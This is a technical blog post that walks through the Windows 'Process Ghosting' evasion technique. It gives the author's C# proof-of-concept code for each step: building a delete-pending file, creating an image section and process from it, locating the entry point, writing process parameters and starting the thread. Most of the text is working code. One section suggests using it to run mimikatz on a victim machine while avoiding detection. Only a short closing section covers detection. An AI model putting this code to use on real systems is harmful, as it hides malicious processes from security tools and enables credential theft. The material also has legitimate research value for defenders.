Understanding Process Ghosting in Detail
Pre-requisites
The following are some pre-requisites, which will help you to enjoy this blog even more
- Knowledge about C#
- Knowledge about the PE structure
- Familiarity with WinDbg
- Little knowledge about SysInternals
Introduction
A few months back, I came to know about a PE image tampering method called Process Ghosting. It is very similar to Process Doppelgänging and Process Herpaderping. The difference is that in case of Process Doppelgänging, the PE image created will be in a Transacted State, while in case of Process Ghosting the PE Image will be in Delete Pending state. This makes it impossible for an EDR or any software to open that file, as long as the file is on the disk
Description of the technique can be found on many blogs and articles, but in this blog my aim is to get down to the minute details of tampering a PE image and creating a process through that.
You can refer to my C# code here -> ProcessGhosting POC
Methodology
First we need to understand the flow of the code and the methodology used
- First create a file. In this case, it’ll be a temp file
- Open the file using
NtOpenFile
. Use theDELETE
flag for opening - Then set the properties of the file using
NtSetInformationFile
such that it is set toFileDispositionInformation
. This will put the file in a delete pending state, since we opened the file with theDELETE
flag - Write the contents of the PE image into the file, from which you want to create the ghost process. Make sure to convert the binary into a byte array before writing
- Once you’ve written to the file, create a section using
NtCreateSection
- After creating the section, close the file. As soon as you close the file, the file will be deleted from the disk, but the section created will still be in memory and you’ll have the section handle
- Now using this section handle, create a process using
NtCreateProcessEx
- Do make sure to calculate the entry point of the PE image and from it the PEB (Process Environment Block.
- Now we need to write the process parameters in the process we created
- Create your own process parameters using
RtlCreateProcessParametersEx
- Locate the location of
RTL_USER_PROCESS_PARAMETERS
and from them the location ofEnvironment
andEnvironmentSize
- Write your process parameters and environment block in the calculated location
- Now create a thread from the entry point of the PE image. This will start the desired process, but without an originating binary file.
Now we will learn about the steps in details, closely following my C# implementation of the Original POC by hasherezade
Creating the delete pending file
Before creating the “ghost file”, we need to first write to
Converting target file to byte array
- We need to first convert the target file into a byte array, so that it can be written into the delete pending file
- For this the
BufferPayload
function was written
public static IntPtr BufferPayload(string filename, ref long size)
{
IntPtr fileHandle = CreateFileW(filename, FileAccess.Read, FileShare.Read, IntPtr.Zero, FileMode.Open, FileAttributes.Normal, IntPtr.Zero);
IntPtr mapping = CreateFileMapping(fileHandle, IntPtr.Zero, FileMapProtection.PageReadonly, (uint)0, (uint)0, String.Empty);
IntPtr rawDataPointer = MapViewOfFileEx(mapping, FileMapAccessType.Read, 0, 0, UIntPtr.Zero, IntPtr.Zero);
//long size;
GetFileSizeEx(fileHandle, out size);
IntPtr localCopyAddress = VirtualAlloc(IntPtr.Zero, (uint)size, (uint)(AllocationType.Commit | AllocationType.Reserve), (uint)MemoryProtection.ReadWrite);
//byte[] temp = BitConverter.GetBytes((UInt32)rawDataPointer);
memcpy(localCopyAddress, rawDataPointer, (UIntPtr)size);
//Marshal.Copy(temp, 0, localCopyAddress, (int)size);
return localCopyAddress;
}
- First the file handle is obtained using the
CreateFileW
function. TheOpen
mode is used so as to only open the target file - A mapping object is obtained using the
CreateFileMapping
Win32 API - Map a view of the file mapping using
MapViewOfFileEx
. Provide the mapping and access type. - Set the third and fourth parameters (
dwDesiredOffsetHigh
anddwDesiredOffsetLow
) to 0 to select the default options - Set the last two arguments (
dwNumberOfBytesToMap
andlpBaseBaseAddress
) toUIntPtr.Zero
andIntPtr.Zero
. dwNumberOfBytesToMap
is set toNULL
so that the mapping extends to the end of the filelpBaseAddress
is set to 0, so that the operating system chooses the mapping address- Allocate memory using
VirtalAlloc
, which is the size of the file. Also, giveRead-Write
access to it - Use
memcpy
to copy the contents at the pointer to the mapped view of the file, to the allocated memory section that we created - Then return the address of the memory location where we copied the contents of the file
Creating a temp file
StringBuilder temp_path = new StringBuilder(MAX_PATH);
//string dummy_name = string.Empty;
StringBuilder dummy_name = new StringBuilder(MAX_PATH);
uint size = GetTempPath(MAX_PATH, temp_path);
GetTempFileName(temp_path.ToString(), "TH", 0, dummy_name);
- This portion of the code first gets the temp path for the current user using
GetTempPath
. The temp path is usually in theC:\Users\<username>\AppData\Local\Temp
- The use the
GetTempFileName
to create a.tmp
file starting the stringTH
Putting the file in delete pending state
- Now that we have the file to write to and the byte array which we will write to the file, we need to put the file in delete pending state, write to it and ultimately close it, which will delete the file automatically.
- This whole this is done by the
MakeSectionFromDeletePendingFile()
function
static IntPtr MakeSectionFromDeletePendingFile(string dummy_name, IntPtr payloadPointer, int sizeShellcode)
{
IO_STATUS_BLOCK status_block = new IO_STATUS_BLOCK();
FILE_DISPOSITION_INFORMATION info = new FILE_DISPOSITION_INFORMATION();
info.DeleteFile = true;
IntPtr iPntr = Marshal.AllocHGlobal(Marshal.SizeOf(info));
IntPtr hDeleteFile = openFile(dummy_name);
NTSTATUS status = NtSetInformationFile(hDeleteFile, ref status_block, iPntr, (UInt32)Marshal.SizeOf(info), (uint)FILE_INFORMATION_CLASS.FileDispositionInformation);
long fileSize = 0;
status = NtWriteFile(hDeleteFile, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, out _, payloadPointer, (uint)sizeShellcode, IntPtr.Zero, IntPtr.Zero);
GetFileSizeEx(hDeleteFile, out fileSize);
HANDLE hSection = IntPtr.Zero;
UInt32 maxsize = 0;
status = NtCreateSection(ref hSection, (uint)SECTION_ACCESS.SECTION_ALL_ACCESS, IntPtr.Zero, maxsize, 0x00000002, 0x1000000, hDeleteFile);
NtClose(hDeleteFile);
return hSection;
}
Opening the file with DELETE flag
- One of the most important thing in creating the delete pending file is opening the file with the
DELETE
flag - The
NtOpenFile
is used in theopenFile
function. - As it can be seen, the numerical values
0x00010000 | 0x00100000 | 0x80000000 | 0x40000000
are used - These are the numerical values for
DELETE | SYNCHRONIZE | GENERIC_READ | GENERIC_WRITE
respectively
int status = NtOpenFile(out hFile, 0x00010000 | 0x00100000 | 0x80000000 | 0x40000000, ref objAttributes, out ioStatusBlock, FileShare.Read | FileShare.Write, FILE_SUPERSEDE | FILE_SYNCHRONOUS_IO_NONALERT);
- The resulting file handle is stored in the
hFile
variable, which is then returned by theopenFile
function
Setting information for the file
-
Before we can set any information to the file, we to define two structures,
IO_STATUS_BLOCK
(this is one of the outputs of theNtSetInformationFile
) andFILE_DISPOSITION_INFORMATION
(this will contain the information for putting the file in delete pending state) -
Set the value of
info.DeleFile
totrue
. This will indicate that the operating system should delete file, once it is closed -
Now invoke the
NtSetInformationFile
to set the required information to the file.- Set the first argument to the file handle obtained from
openFile
function - Set the second argument as a reference to the
IO_STATUS_BLOCK
structure, which will be set by the API itself - Then give the pointer to the
info
structure - Give the size of the structure as the fourth argument
- Now set the value of
FILE_INFORMATION_CLASS
asFileDispositionInformation
which will finally put the file in a delete pending state
- Set the first argument to the file handle obtained from
Creating Process from the file contents
- Write the file contents to the file using
NtWriteFile
status = NtWriteFile(hDeleteFile, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, out _, payloadPointer, (uint)sizeShellcode, IntPtr.Zero, IntPtr.Zero);
- Now create a memory section from the file using NtCreateSection
status = NtCreateSection(ref hSection, (uint)SECTION_ACCESS.SECTION_ALL_ACCESS, IntPtr.Zero, maxsize, 0x00000002, 0x1000000, hDeleteFile);
-
Close the file, effectively deleting the file. Return the section handle
-
Once you get the file handle, use
NtCreateProcessEx
to create a process from the section handle. Also store the process handle as given by the API
int stat = NtCreateProcessEx(ref hProcess, 0x001F0FFF, IntPtr.Zero, GetCurrentProcess(), 4, hSection, IntPtr.Zero, IntPtr.Zero, 0);
Getting entry point of the image
- First we need to query information about the process using
NtQueryInformationProcess
. This will give us thePROCESS_BASIC_INFORMATION
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint temp = 0;
NtQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref temp)
- Set the first argument to the process handle
- Set the second argument to 0, which will give us the
ProcessBasicInformation
- Give the structure to hold the process basic information
- Set the size of information length. In this case, since PROCESS_BASIC_INFORMATION has 6 values of type
IntPtr
we set it toIntPtr.Size * 6
- Set the last argument to a variable to hold the return length
- From the
bi
structure, we can get thebi.PebAddress
which is the address ofPEB
(Process Environment Block) - Following is the
GetEntryPoint
function which gives us the address of the entry point of the PE image
public static IntPtr GetEntryPoint(PROCESS_BASIC_INFORMATION bi, IntPtr hProcess)
{
IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);
byte[] addrBuf = new byte[IntPtr.Size];
IntPtr nRead = IntPtr.Zero;
ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);
IntPtr payloadBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
byte[] data = new byte[0x200];
ReadProcessMemory(hProcess, payloadBase, data, data.Length, out nRead);
uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C);
uint opthdr = e_lfanew_offset + 0x28;
uint entryPoint_rva = BitConverter.ToUInt32(data, (int)opthdr);
IntPtr addressOfEntryPoint = (IntPtr)(entryPoint_rva + (UInt64)payloadBase);
return addressOfEntryPoint;
}
- At an offset of
0x10
from the PEB, we have the pointer to the image base - So we read the value at
PebAddress + 0x10
usingReadProcessMemory
- Then read
0x200
bytes starting from the pointer to image base usingReadProcessMemory
again - At
0x3C
offset read thee_lfanew
. This contains the offset from the beginning of the PE image base to the PE header 0x28
bytes from thee_lfanew
offset, get the Optional Header- This will then give us the RVA of the PE entry point
- If we add the RVA to the image base, then we will get the entry point
Setting up Process Parameters
This was the most important and challenging part for me code in C#. Every process needs their Process Parameters, as well as environment blocks to run properly
This is done in the SetupProcessParameters
function
Creating an Environment Block for the current user
- Use
CreateEnvironmentBlock
to create an environment block using the information from the current user
IntPtr environment = IntPtr.Zero;
CreateEnvironmentBlock(out environment, IntPtr.Zero, true);
- This will store the environment block in the
environment
variable
Creating process parameters
- Before creating process parameters, we must define the values of various components by converting them to unicode structs
- The following function converts strings to unicode structs which are returned as pointers
public static IntPtr CreateUnicodeStruct(string data)
{
UNICODE_STRING UnicodeObject = new UNICODE_STRING();
string UnicodeObject_Buffer = data;
UnicodeObject.Length = Convert.ToUInt16(UnicodeObject_Buffer.Length * 2);
UnicodeObject.MaximumLength = Convert.ToUInt16(UnicodeObject.Length + 1);
UnicodeObject.buffer = Marshal.StringToHGlobalUni(UnicodeObject_Buffer);
IntPtr InMemoryStruct = Marshal.AllocHGlobal(16);
Marshal.StructureToPtr(UnicodeObject, InMemoryStruct, true);
return InMemoryStruct;
}
- I defined the following values and hardcoded them for easier understanding
String WinDir = Environment.GetEnvironmentVariable("windir");
IntPtr uSystemDir = CreateUnicodeStruct(WinDir + "\\System32");
IntPtr uTargetPath = CreateUnicodeStruct(targetPath);
IntPtr uWindowName = CreateUnicodeStruct("test");
IntPtr uCurrentDir = CreateUnicodeStruct("C:\\Users\\User\\Desktop");
IntPtr desktopInfo = CreateUnicodeStruct(@"WinSta0\Default");
- For the first value, it is the Windows Directory (
C:\Windows
) , and is obtained from the environment variable - The next one is the
C:\Windows\System32
directory - The target Path is the target binary which we want to run. I have hardcoded it to be
C:\Windows\System32\calc.exe
- The next one is the window name of the process
- Then we have the current directory. You can dynamically get it using
GetEnvironmentVariable
function - The next is the desktop info. I was not able to retrieve it dynamically. So I hardcoded the one which I got from the debugger
The following is how you can get the desktopinfo string from calc.exe
binary using WinDbg
- Use
0:000> dt _peb @$peb
to get the PEB
- Click on
ProcessParameters
as marked in the picture
- At offset
0xc0
there is theDestopInfo
address
-
This will show me the value of
DesktopInfo
-
Now we can finally create the process parameters using
RtlCreateProcessParametersEx
UInt32 status = RtlCreateProcessParametersEx(ref pProcParams, uTargetPath, uSystemDir, uSystemDir, uTargetPath, environment, uWindowName, desktopInfo, IntPtr.Zero, IntPtr.Zero, 1);
Writing the Process Parameters and Environment Variables
Now that we have created the process parameters and the environment block, we need to write them to the process that we created
Reading the Environment size and Environment Pointer
- We need the Environment Size and Environment Pointer for a later use, when we will be writing their values to the process
- The environment block size is at an offset of
0x3f0
fromProcess Parameters
Int32 EnvSize = Marshal.ReadInt32((IntPtr)pProcParams.ToInt64() + 0x3f0);
IntPtr EnvPtr = (IntPtr)Marshal.ReadInt64((IntPtr)(pProcParams.ToInt64() + 0x080));
Getting the Length of the Process Parameters
- The Length of the process parameters will be required, when we will be writing them to the process
- The length is at an offset of
0x4
from the start ofRTL_USER_PROCESS_PARAMETERS
Int32 Length = Marshal.ReadInt32((IntPtr)pProcParams.ToInt64() + 4);
Writing the Process Parameters and the Environment Block in a Continuous Memory
Now while writing the Process Parameters and the Environment Block, there can be two cases.
- They are in a continuous memory region, one after the other.
- They are NOT in a continuous memory region
- In the first case, we calculate the total size of the memory region that we need to allocate, in order to write both the Process Parameters and the Environment block
IntPtr buffer = pProcParams;
Int64 buffer_end = pProcParams.ToInt64() + Length;
if (pProcParams.ToInt64() > EnvPtr.ToInt64())
{
buffer = EnvPtr;
}
IntPtr env_end = (IntPtr)(EnvPtr.ToInt64() + EnvSize);
if (env_end.ToInt64() > buffer_end)
{
buffer_end = env_end.ToInt64();
}
- Now you can allocate memory with the calculated buffer size starting from the calculated buffer start section
VirtualAllocEx(hProcess, buffer, buffer_size, (int)(AllocationType.Commit | AllocationType.Reserve), (int)(MemoryProtection.ReadWrite));
- After allocating memory memory, write the Process Parameters and the Environment Blocks respectively
writememstat = WriteRemoteMem(hProcess, pProcParams, pProcParams, Length, MemoryProtection.ReadWrite);
writememstat = WriteRemoteMem(hProcess, EnvPtr, EnvPtr, EnvSize, MemoryProtection.ReadWrite);
NOTE: WriteRemoteMem function uses the WriteProcessMemory function to write to a remote memory, with the specified memory protection flags (Source: https://github.com/FuzzySecurity/Sharp-Suite/blob/master/SwampThing/Program.cs)
- Now, if program is successful in writing the Process Parameters and the Environment blocks in continuous memory region, it will be enough to create the thread and spawn the process, else we have to look into case 2
Writing the Process Parameters and the Environment Block in separate chunks
-
This case considers that the Process Parameters and the Environment blocks are NOT in continuous memory region.
-
So we allocate separate memory regions for process parameters and environment blocks
-
First allocate memory region for Process Parameters and write the created process parameters to it
VirtualAllocEx(hProcess, pProcParams, (uint)Length, (int)(AllocationType.Commit | AllocationType.Reserve), (int)MemoryProtection.ReadWrite);
writememstat = WriteRemoteMem(hProcess, pProcParams, pProcParams, Length, MemoryProtection.ReadWrite);
- Then allocate memory region for environment block and write the created environment block to it
VirtualAllocEx(hProcess, EnvPtr, (uint)EnvSize, (int)(AllocationType.Commit | AllocationType.Reserve), (int)MemoryProtection.ReadWrite);
writememstat = WriteRemoteMem(hProcess, EnvPtr, EnvPtr, EnvSize, MemoryProtection.ReadWrite);
Writing the process parameters to the PEB
- Now we need to write the process parameters to the PEB of the target process
IntPtr myProcParams = Marshal.AllocHGlobal(ReadSize);
Marshal.WriteInt64(myProcParams, (Int64)pProcParams);
writememstat = WriteRemoteMem(hProcess, myProcParams, (IntPtr)(temp.ToInt64() + 0x20), ReadSize, MemoryProtection.ReadWrite);
- The Process parameters is located
0x20
from the start of the PEB address. Therefore, we write the process parameters first to a blank memory location and then to the PEB - The value of
ReadSize
is0x8
for 64-bit architecture
Spawning the Process
Once everything is set, we can use the Process handle to create a thread using NtCreateThreadEx
NTSTATUS st = NtCreateThreadEx(ref hThread, 0x1fffff, IntPtr.Zero, hProcess, payloadEp, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
This will finally start the target process from the already deleted file.
Usage Example of the POC
We we’ll use a sample example for this. The targeted binary in this case will be calc.exe
and the other hardcoded details are changed accordingly
Executing the binary will launch calc.exe
- In the second example, we run powershell.exe .
- The target file path is changed accordingly ->
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
- As you can see, that powershell is running with the windows name as
test
, which we had set in ourRtlCreateProcessParametersEx
API.
Alternative Attack Vectors
- One can run the process ghosting program on the victim system to execute a target binary from an UNC path
- For example, if the target binary is located in a path such as
\\localhost\C$\SecureFolder\mimikatz.exe
, we can put it in our process ghosting program. Now, we can put theProcessGhosting.exe
on the victim machine and run it. This will runmimikatz.exe
as a ghost process avoiding some detections.
Blue Team Considerations
Finding Process origin
- If we open the task manager and check for a process with the same process ID. We see that there is no details about it
- Right clicking and trying to open file location of the origin of the process will yield no results
Detection mechanisms
- If there is a process which originates from an unknown location, or whose origin is not there, then it might be a case of process ghosting